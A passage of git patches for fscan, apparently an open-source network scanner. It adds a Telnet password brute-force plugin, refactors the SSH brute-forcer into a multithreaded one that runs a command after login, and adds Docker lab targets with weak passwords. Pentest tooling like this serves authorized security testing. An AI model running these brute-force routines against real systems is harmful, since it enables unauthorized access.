数据库类 "oracle", "memcached", // 数据库类 - "ftp", "ssh", "smb", "rdp", "vnc", "netbios", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "smb", "rdp", "vnc", "netbios", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index ce1d885..31440a7 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -1,7 +1,7 @@ package Common -var ServicePorts = "21,22,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017" +var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017" var DbPorts = "1433,1521,3306,5432,6379,11211,27017" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" +var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" diff --git a/Core/Registry.go b/Core/Registry.go index 47e3a77..0bdadc6 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -19,6 +19,12 @@ func init() { ScanFunc: Plugins.SshScan, }) + Common.RegisterPlugin("telnet", Common.ScanPlugin{ + Name: "TELNET", + Ports: []int{23}, + ScanFunc: Plugins.TelnetScan, + }) + Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", Ports: []int{135}, diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go new file mode 100644 index 0000000..3e35431 --- /dev/null +++ b/Plugins/Telnet.go @@ -0,0 +1,610 @@ +package Plugins + +import ( + "bytes" + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "regexp" + "strings" + "time" +) + +// TelnetScan 执行Telnet服务扫描和密码爆破 +func TelnetScan(info *Common.HostInfo) (tmperr error) { + // 检查是否禁用暴力破解 + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 遍历用户名密码字典进行尝试 + for _, user := range Common.Userdict["telnet"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + // 尝试Telnet连接 + flag, err := telnetConn(info, user, pass) + + // 处理连接结果 + if flag { + // 无需认证的情况 + result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", info.Host, info.Ports) + Common.LogSuccess(result) + return nil + } else if err == nil { + // 成功爆破到密码 + result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", info.Host, info.Ports, user, pass) + Common.LogSuccess(result) + return nil + } + + // 处理错误情况 + errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + // 检查是否存在严重错误需要中断 + if Common.CheckErrs(err) { + return err + } + + // 检查是否超时 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["telnet"])*len(Common.Passwords)) * Common.Timeout) { + return fmt.Errorf("扫描超时") + } + } + } + + return tmperr +} + +// telnetConn 尝试建立Telnet连接并进行身份验证 +func telnetConn(info *Common.HostInfo, user, pass string) (flag bool, err error) { + // 创建telnet客户端 + client := NewTelnet(info.Host, info.Ports) + + // 建立连接 + if err = client.Connect(); err != nil { + return false, err + } + defer client.Close() + + // 设置认证信息 + client.UserName = user + client.Password = pass + + // 检测服务器类型 + client.ServerType = client.MakeServerType() + + // 如果是无需认证的服务器,直接返回成功 + if client.ServerType == UnauthorizedAccess { + return true, nil + } + + // 尝试登录认证 + err = client.Login() + return false, err +} + +const ( + // 写入操作后的延迟时间 + TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond + + // Telnet基础控制字符 + IAC = byte(255) // 解释为命令(Interpret As Command) + DONT = byte(254) // 请求对方停止执行某选项 + DO = byte(253) // 请求对方执行某选项 + WONT = byte(252) // 拒绝执行某选项 + WILL = byte(251) // 同意执行某选项 + + // 子协商相关控制字符 + SB = byte(250) // 子协商开始(Subnegotiation Begin) + SE = byte(240) // 子协商结束(Subnegotiation End) + + // 特殊功能字符 + NULL = byte(0) // 空字符 + EOF = byte(236) // 文档结束 + SUSP = byte(237) // 暂停进程 + ABORT = byte(238) // 停止进程 + REOR = byte(239) // 记录结束 + + // 控制操作字符 + NOP = byte(241) // 无操作 + DM = byte(242) // 数据标记 + BRK = byte(243) // 中断 + IP = byte(244) // 中断进程 + AO = byte(245) // 终止输出 + AYT = byte(246) // 在线确认 + EC = byte(247) // 擦除字符 + EL = byte(248) // 擦除行 + GA = byte(249) // 继续进行 + + // Telnet协议选项代码 (来自arpa/telnet.h) + BINARY = byte(0) // 8位数据通道 + ECHO = byte(1) // 回显 + RCP = byte(2) // 准备重新连接 + SGA = byte(3) // 禁止继续 + NAMS = byte(4) // 近似消息大小 + STATUS = byte(5) // 状态查询 + TM = byte(6) // 时间标记 + RCTE = byte(7) // 远程控制传输和回显 + + // 输出协商选项 + NAOL = byte(8) // 输出行宽度协商 + NAOP = byte(9) // 输出页面大小协商 + NAOCRD = byte(10) // 回车处理协商 + NAOHTS = byte(11) // 水平制表符停止协商 + NAOHTD = byte(12) // 水平制表符处理协商 + NAOFFD = byte(13) // 换页符处理协商 + NAOVTS = byte(14) // 垂直制表符停止协商 + NAOVTD = byte(15) // 垂直制表符处理协商 + NAOLFD = byte(16) // 换行符处理协商 + + // 扩展功能选项 + XASCII = byte(17) // 扩展ASCII字符集 + LOGOUT = byte(18) // 强制登出 + BM = byte(19) // 字节宏 + DET = byte(20) // 数据输入终端 + SUPDUP = byte(21) // SUPDUP协议 + SUPDUPOUTPUT = byte(22) // SUPDUP输出 + SNDLOC = byte(23) // 发送位置 + + // 终端相关选项 + TTYPE = byte(24) // 终端类型 + EOR = byte(25) // 记录结束 + TUID = byte(26) // TACACS用户识别 + OUTMRK = byte(27) // 输出标记 + TTYLOC = byte(28) // 终端位置编号 + VT3270REGIME = byte(29) // 3270体制 + + // 通信控制选项 + X3PAD = byte(30) // X.3 PAD + NAWS = byte(31) // 窗口大小 + TSPEED = byte(32) // 终端速度 + LFLOW = byte(33) // 远程流控制 + LINEMODE = byte(34) // 行模式选项 + + // 环境与认证选项 + XDISPLOC = byte(35) // X显示位置 + OLD_ENVIRON = byte(36) // 旧环境变量 + AUTHENTICATION = byte(37) // 认证 + ENCRYPT = byte(38) // 加密选项 + NEW_ENVIRON = byte(39) // 新环境变量 + + // IANA分配的额外选项 + // http://www.iana.org/assignments/telnet-options + TN3270E = byte(40) // TN3270E + XAUTH = byte(41) // XAUTH + CHARSET = byte(42) // 字符集 + RSP = byte(43) // 远程串行端口 + COM_PORT_OPTION = byte(44) // COM端口控制 + SUPPRESS_LOCAL_ECHO = byte(45) // 禁止本地回显 + TLS = byte(46) // 启动TLS + KERMIT = byte(47) // KERMIT协议 + SEND_URL = byte(48) // 发送URL + FORWARD_X = byte(49) // X转发 + + // 特殊用途选项 + PRAGMA_LOGON = byte(138) // PRAGMA登录 + SSPI_LOGON = byte(139) // SSPI登录 + PRAGMA_HEARTBEAT = byte(140) // PRAGMA心跳 + EXOPL = byte(255) // 扩展选项列表 + NOOPT = byte(0) // 无选项 +) + +// 服务器类型常量定义 +const ( + Closed = iota // 连接关闭 + UnauthorizedAccess // 无需认证 + OnlyPassword // 仅需密码 + UsernameAndPassword // 需要用户名和密码 +) + +// TelnetClient Telnet客户端结构体 +type TelnetClient struct { + IPAddr string // 服务器IP地址 + Port string // 服务器端口 + UserName string // 用户名 + Password string // 密码 + conn net.Conn // 网络连接 + LastResponse string // 最近一次响应内容 + ServerType int // 服务器类型 +} + +// NewTelnet 创建新的Telnet客户端实例 +func NewTelnet(addr, port string) *TelnetClient { + return &TelnetClient{ + IPAddr: addr, + Port: port, + UserName: "", + Password: "", + conn: nil, + LastResponse: "", + ServerType: Closed, + } +} + +// Connect 建立Telnet连接 +func (c *TelnetClient) Connect() error { + // 建立TCP连接,超时时间5秒 + conn, err := net.DialTimeout("tcp", c.Netloc(), 5*time.Second) + if err != nil { + return err + } + c.conn = conn + + // 启动后台goroutine处理服务器响应 + go func() { + for { + // 读取服务器响应 + buf, err := c.read() + if err != nil { + // 处理连接关闭和EOF情况 + if strings.Contains(err.Error(), "closed") || + strings.Contains(err.Error(), "EOF") { + break + } + break + } + + // 处理响应数据 + displayBuf, commandList := c.SerializationResponse(buf) + + if len(commandList) > 0 { + // 有命令需要回复 + replyBuf := c.MakeReplyFromList(commandList) + c.LastResponse += string(displayBuf) + _ = c.write(replyBuf) + } else { + // 仅保存显示内容 + c.LastResponse += string(displayBuf) + } + } + }() + + // 等待连接初始化完成 + time.Sleep(time.Second * 3) + return nil +} + +// WriteContext 写入数据到Telnet连接 +func (c *TelnetClient) WriteContext(s string) { + // 写入字符串并添加回车及空字符 + _ = c.write([]byte(s + "\x0d\x00")) +} + +// ReadContext 读取Telnet连接返回的内容 +func (c *TelnetClient) ReadContext() string { + // 读取完成后清空缓存 + defer func() { c.Clear() }() + + // 等待响应 + if c.LastResponse == "" { + time.Sleep(time.Second) + } + + // 处理特殊字符 + c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "") + c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n") + + return c.LastResponse +} + +// Netloc 获取网络地址字符串 +func (c *TelnetClient) Netloc() string { + return fmt.Sprintf("%s:%s", c.IPAddr, c.Port) +} + +// Close 关闭Telnet连接 +func (c *TelnetClient) Close() { + c.conn.Close() +} + +// SerializationResponse 解析Telnet响应数据 +func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) { + for { + // 查找IAC命令标记 + index := bytes.IndexByte(responseBuf, IAC) + if index == -1 || len(responseBuf)-index < 2 { + displayBuf = append(displayBuf, responseBuf...) + break + } + + // 获取选项字符 + ch := responseBuf[index+1] + + // 处理连续的IAC + if ch == IAC { + displayBuf = append(displayBuf, responseBuf[:index]...) + responseBuf = responseBuf[index+1:] + continue + } + + // 处理DO/DONT/WILL/WONT命令 + if ch == DO || ch == DONT || ch == WILL || ch == WONT { + commandBuf := responseBuf[index : index+3] + commandList = append(commandList, commandBuf) + displayBuf = append(displayBuf, responseBuf[:index]...) + responseBuf = responseBuf[index+3:] + continue + } + + // 处理子协商命令 + if ch == SB { + displayBuf = append(displayBuf, responseBuf[:index]...) + seIndex := bytes.IndexByte(responseBuf, SE) + commandList = append(commandList, responseBuf[index:seIndex]) + responseBuf = responseBuf[seIndex+1:] + continue + } + + break + } + + return displayBuf, commandList +} + +// MakeReplyFromList 处理命令列表并生成回复 +func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte { + var reply []byte + for _, command := range list { + reply = append(reply, c.MakeReply(command)...) + } + return reply +} + +// MakeReply 根据命令生成对应的回复 +func (c *TelnetClient) MakeReply(command []byte) []byte { + // 命令至少需要3字节 + if len(command) < 3 { + return []byte{} + } + + verb := command[1] // 动作类型 + option := command[2] // 选项码 + + // 处理回显(ECHO)和抑制继续进行(SGA)选项 + if option == ECHO || option == SGA { + switch verb { + case DO: + return []byte{IAC, WILL, option} + case DONT: + return []byte{IAC, WONT, option} + case WILL: + return []byte{IAC, DO, option} + case WONT: + return []byte{IAC, DONT, option} + case SB: + // 处理子协商命令 + // 命令格式: IAC + SB + option + modifier + IAC + SE + if len(command) >= 4 { + modifier := command[3] + if modifier == ECHO { + return []byte{IAC, SB, option, BINARY, IAC, SE} + } + } + } + } else { + // 处理其他选项 - 拒绝所有请求 + switch verb { + case DO, DONT: + return []byte{IAC, WONT, option} + case WILL, WONT: + return []byte{IAC, DONT, option} + } + } + + return []byte{} +} + +// read 从Telnet连接读取数据 +func (c *TelnetClient) read() ([]byte, error) { + var buf [2048]byte + n, err := c.conn.Read(buf[0:]) + if err != nil { + return nil, err + } + return buf[:n], nil +} + +// write 向Telnet连接写入数据 +func (c *TelnetClient) write(buf []byte) error { + // 设置写入超时 + _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3)) + + _, err := c.conn.Write(buf) + if err != nil { + return err + } + return nil +} + +// Login 根据服务器类型执行登录 +func (c *TelnetClient) Login() error { + switch c.ServerType { + case Closed: + return errors.New("service is disabled") + case UnauthorizedAccess: + return nil + case OnlyPassword: + return c.loginForOnlyPassword() + case UsernameAndPassword: + return c.loginForUsernameAndPassword() + default: + return errors.New("unknown server type") + } +} + +// MakeServerType 通过分析服务器响应判断服务器类型 +func (c *TelnetClient) MakeServerType() int { + responseString := c.ReadContext() + response := strings.Split(responseString, "\n") + lastLine := strings.ToLower(response[len(response)-1]) + + // 检查是否需要用户名和密码 + if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) { + return UsernameAndPassword + } + + // 检查是否只需要密码 + if strings.Contains(lastLine, "pass") { + return OnlyPassword + } + + // 检查是否无需认证的情况 + if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) { + return UnauthorizedAccess + } + + return Closed +} + +// 辅助函数:检查字符串是否包含任意给定子串 +func containsAny(s string, substrings []string) bool { + for _, sub := range substrings { + if strings.Contains(s, sub) { + return true + } + } + return false +} + +// 辅助函数:检查是否无需认证 +func isNoAuthRequired(line string) bool { + patterns := []string{ + `^/ #.*`, + `^<[A-Za-z0-9_]+>`, + `^#`, + } + + for _, pattern := range patterns { + if regexp.MustCompile(pattern).MatchString(line) { + return true + } + } + return false +} + +// loginForOnlyPassword 处理只需密码的登录 +func (c *TelnetClient) loginForOnlyPassword() error { + c.Clear() // 清空之前的响应 + + // 发送密码并等待响应 + c.WriteContext(c.Password) + time.Sleep(time.Second * 3) + + // 验证登录结果 + responseString := c.ReadContext() + if c.isLoginFailed(responseString) { + return errors.New("login failed") + } + if c.isLoginSucceed(responseString) { + return nil + } + + return errors.New("login failed") +} + +// loginForUsernameAndPassword 处理需要用户名和密码的登录 +func (c *TelnetClient) loginForUsernameAndPassword() error { + // 发送用户名 + c.WriteContext(c.UserName) + time.Sleep(time.Second * 3) + c.Clear() + + // 发送密码 + c.WriteContext(c.Password) + time.Sleep(time.Second * 5) + + // 验证登录结果 + responseString := c.ReadContext() + if c.isLoginFailed(responseString) { + return errors.New("login failed") + } + if c.isLoginSucceed(responseString) { + return nil + } + + return errors.New("login failed") +} + +// Clear 清空最近一次响应 +func (c *TelnetClient) Clear() { + c.LastResponse = "" +} + +// 登录失败的关键词列表 +var loginFailedString = []string{ + "wrong", + "invalid", + "fail", + "incorrect", + "error", +} + +// isLoginFailed 检查是否登录失败 +func (c *TelnetClient) isLoginFailed(responseString string) bool { + responseString = strings.ToLower(responseString) + + // 空响应视为失败 + if responseString == "" { + return true + } + + // 检查失败关键词 + for _, str := range loginFailedString { + if strings.Contains(responseString, str) { + return true + } + } + + // 检查是否仍在要求输入凭证 + patterns := []string{ + "(?is).*pass(word)?:$", + "(?is).*user(name)?:$", + "(?is).*login:$", + } + for _, pattern := range patterns { + if regexp.MustCompile(pattern).MatchString(responseString) { + return true + } + } + + return false +} + +// isLoginSucceed 检查是否登录成功 +func (c *TelnetClient) isLoginSucceed(responseString string) bool { + // 获取最后一行响应 + lines := strings.Split(responseString, "\n") + lastLine := lines[len(lines)-1] + + // 检查命令提示符 + if regexp.MustCompile("^[#$].*").MatchString(lastLine) || + regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) { + return true + } + + // 检查last login信息 + if regexp.MustCompile("(?:s)last login").MatchString(responseString) { + return true + } + + // 发送测试命令验证 + c.Clear() + c.WriteContext("?") + time.Sleep(time.Second * 3) + responseString = c.ReadContext() + + // 检查响应长度 + if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 { + return true + } + + return false +} From e7d93542841455f9eef23383fd92818d86953ede Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 20:16:03 +0800 Subject: [PATCH 103/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Telnet?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Telnet/Dockerfile | 18 ++++++++++++++++++ TestDocker/Telnet/README.md | 0 2 files changed, 18 insertions(+) create mode 100644 TestDocker/Telnet/Dockerfile create mode 100644 TestDocker/Telnet/README.md diff --git a/TestDocker/Telnet/Dockerfile b/TestDocker/Telnet/Dockerfile new file mode 100644 index 0000000..6029b7d --- /dev/null +++ b/TestDocker/Telnet/Dockerfile @@ -0,0 +1,18 @@ +FROM busybox:latest + +# 安装必要的包 +RUN ["busybox", "telnetd", "--help"] + +# 创建测试用户 +RUN adduser -D -h /home/test test && \ + echo "test:123456" | chpasswd + +# 创建弱密码管理员 +RUN adduser -D -h /home/admin admin && \ + echo "admin:admin" | chpasswd + +# 暴露 Telnet 端口 +EXPOSE 23 + +# 启动 Telnet 服务 +CMD ["busybox", "telnetd", "-F", "-l", "/bin/sh"] \ No newline at end of file diff --git a/TestDocker/Telnet/README.md b/TestDocker/Telnet/README.md new file mode 100644 index 0000000..e69de29 From 13139160812e647f8a286a296237c21702174ef0 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 20:44:59 +0800 Subject: [PATCH 104/188] =?UTF-8?q?fix:=20SSH=E8=BF=9E=E6=8E=A5=E8=B6=85?= =?UTF-8?q?=E6=97=B6=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Redis.go | 1 - Plugins/SSH.go | 158 +++++++---------------------------------------- 2 files changed, 21 insertions(+), 138 deletions(-) diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7b68dba..5719134 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -18,7 +18,6 @@ var ( // RedisScan 执行Redis服务扫描 func RedisScan(info *Common.HostInfo) (tmperr error) { - fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() // 尝试无密码连接 diff --git a/Plugins/SSH.go b/Plugins/SSH.go index d488da1..e8417d0 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -1,7 +1,6 @@ package Plugins import ( - "context" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/crypto/ssh" @@ -16,83 +15,35 @@ func SshScan(info *Common.HostInfo) (tmperr error) { return } - // 增加全局扫描超时 - scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) - defer scanCancel() - for _, user := range Common.Userdict["ssh"] { for _, pass := range Common.Passwords { - // 使用全局 context 创建子 context - ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second) - - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) - currentUser := user - currentPass := pass + success, err := SshConn(info, user, pass) - // 创建结果通道 - done := make(chan struct { - success bool - err error - }, 1) - - // 在 goroutine 中执行单次连接尝试 - go func() { - success, err := SshConn(ctx, info, currentUser, currentPass) - select { - case done <- struct { - success bool - err error - }{success, err}: - case <-ctx.Done(): - } - }() - - // 等待连接结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - cancel() - return err - } - case <-ctx.Done(): - err = fmt.Errorf("[-] 连接超时: %v", ctx.Err()) - } - - cancel() - - // 记录失败信息 if err != nil { errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, currentUser, currentPass, err) + info.Host, info.Ports, user, pass, err) Common.LogError(errlog) tmperr = err + + if Common.CheckErrs(err) { + return err + } } - // 检查是否需要中断扫描 - if Common.CheckErrs(err) { - return err + if success { + return nil } - // 检查全局超时 - if scanCtx.Err() != nil { - return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err()) - } - - // 如果指定了SSH密钥,则不进行密码尝试 if Common.SshKeyPath != "" { return err } } } - return tmperr } -func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) { - // 准备认证方法 +func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { var auth []ssh.AuthMethod if Common.SshKeyPath != "" { pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) @@ -115,61 +66,15 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, - Timeout: time.Duration(Common.Timeout) * time.Second, + Timeout: time.Duration(Common.Timeout), } - // 使用带超时的 Dial - conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports)) + client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) if err != nil { return false, err } - defer conn.Close() - - // 设置连接超时 - if deadline, ok := ctx.Deadline(); ok { - conn.SetDeadline(deadline) - } - - // 创建一个新的 context 用于 SSH 握手 - sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) - defer sshCancel() - - // 使用 channel 来控制 SSH 握手的超时 - sshDone := make(chan struct { - client *ssh.Client - err error - }, 1) - - go func() { - sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config) - if err != nil { - sshDone <- struct { - client *ssh.Client - err error - }{nil, err} - return - } - client := ssh.NewClient(sshConn, chans, reqs) - sshDone <- struct { - client *ssh.Client - err error - }{client, nil} - }() - - // 等待 SSH 握手完成或超时 - var client *ssh.Client - select { - case result := <-sshDone: - if result.err != nil { - return false, result.err - } - client = result.client - case <-sshCtx.Done(): - return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err()) - } defer client.Close() - // 创建会话 session, err := client.NewSession() if err != nil { return false, err @@ -179,37 +84,16 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin flag = true if Common.Command != "" { - // 执行命令的通道 - cmdDone := make(chan struct { - output []byte - err error - }, 1) - - go func() { - output, err := session.CombinedOutput(Common.Command) - select { - case cmdDone <- struct { - output []byte - err error - }{output, err}: - case <-ctx.Done(): - } - }() - - select { - case <-ctx.Done(): - return true, fmt.Errorf("命令执行超时: %v", ctx.Err()) - case result := <-cmdDone: - if result.err != nil { - return true, result.err - } - if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, string(result.output))) - } else { - Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", - info.Host, info.Ports, user, pass, string(result.output))) - } + output, err := session.CombinedOutput(Common.Command) + if err != nil { + return true, err + } + if Common.SshKeyPath != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(output))) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(output))) } } else { if Common.SshKeyPath != "" { From 9cd137c0996b999a77bfa7384de27aa17ae92a6f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 20:57:27 +0800 Subject: [PATCH 105/188] =?UTF-8?q?fix:=20SSH=E8=BF=9E=E6=8E=A5=E8=B6=85?= =?UTF-8?q?=E6=97=B6=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/SSH.go | 94 +++++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 81 insertions(+), 13 deletions(-) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index e8417d0..040b601 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -7,6 +7,7 @@ import ( "io/ioutil" "net" "strings" + "sync" "time" ) @@ -15,31 +16,98 @@ func SshScan(info *Common.HostInfo) (tmperr error) { return } + threads := 10 // 设置线程数 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["ssh"])*len(Common.Passwords)) + + // 创建结果通道 + resultChan := make(chan error, threads) + + // 生成所有任务 for _, user := range Common.Userdict["ssh"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - success, err := SshConn(info, user, pass) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - if err != nil { - errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for task := range taskChan { + // 为每个任务创建结果通道 + done := make(chan struct { + success bool + err error + }) - if Common.CheckErrs(err) { - return err + // 执行SSH连接 + go func(user, pass string) { + success, err := SshConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + if err != nil { + errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + if Common.CheckErrs(err) { + resultChan <- err + return + } + } + + if Common.SshKeyPath != "" { + resultChan <- err + return } } + resultChan <- nil + }() + } - if success { - return nil - } + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() - if Common.SshKeyPath != "" { + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if Common.CheckErrs(err) { return err } } } + return tmperr } @@ -66,7 +134,7 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, - Timeout: time.Duration(Common.Timeout), + Timeout: time.Duration(Common.Timeout) * time.Millisecond, } client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) From 497bc2e86bf303e931cbf224c6be3c56c4df275d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 21:01:56 +0800 Subject: [PATCH 106/188] =?UTF-8?q?fix:=20SSH=E8=BF=9E=E6=8E=A5=E8=B6=85?= =?UTF-8?q?=E6=97=B6=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Log.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Common/Log.go b/Common/Log.go index c76f9a8..817c46e 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -146,7 +146,7 @@ func CheckErrs(err error) bool { // 已知错误列表 errs := []string{ "closed by the remote host", "too many connections", - "i/o timeout", "EOF", "A connection attempt failed", + "EOF", "A connection attempt failed", "established connection failed", "connection attempt failed", "Unable to read", "is not allowed to connect to this", "no pg_hba.conf entry", From b7d4e185aa585e16ce916563b6ed7fcf0ae6d5e9 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 21 Dec 2024 02:00:04 +0800 Subject: [PATCH 107/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0FTP=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/FTP/README.txt | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 TestDocker/FTP/README.txt diff --git a/TestDocker/FTP/README.txt b/TestDocker/FTP/README.txt new file mode 100644 index 0000000..da06c74 --- /dev/null +++ b/TestDocker/FTP/README.txt @@ -0,0 +1,2 @@ +docker run -d -p 20:20 -p 21:21 -p 47000-48000:47000-48000 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp +Mac上可能有问题 \ No newline at end of file From 2bfd58663cd159cbeb5fa2f9345f195e55a072a9 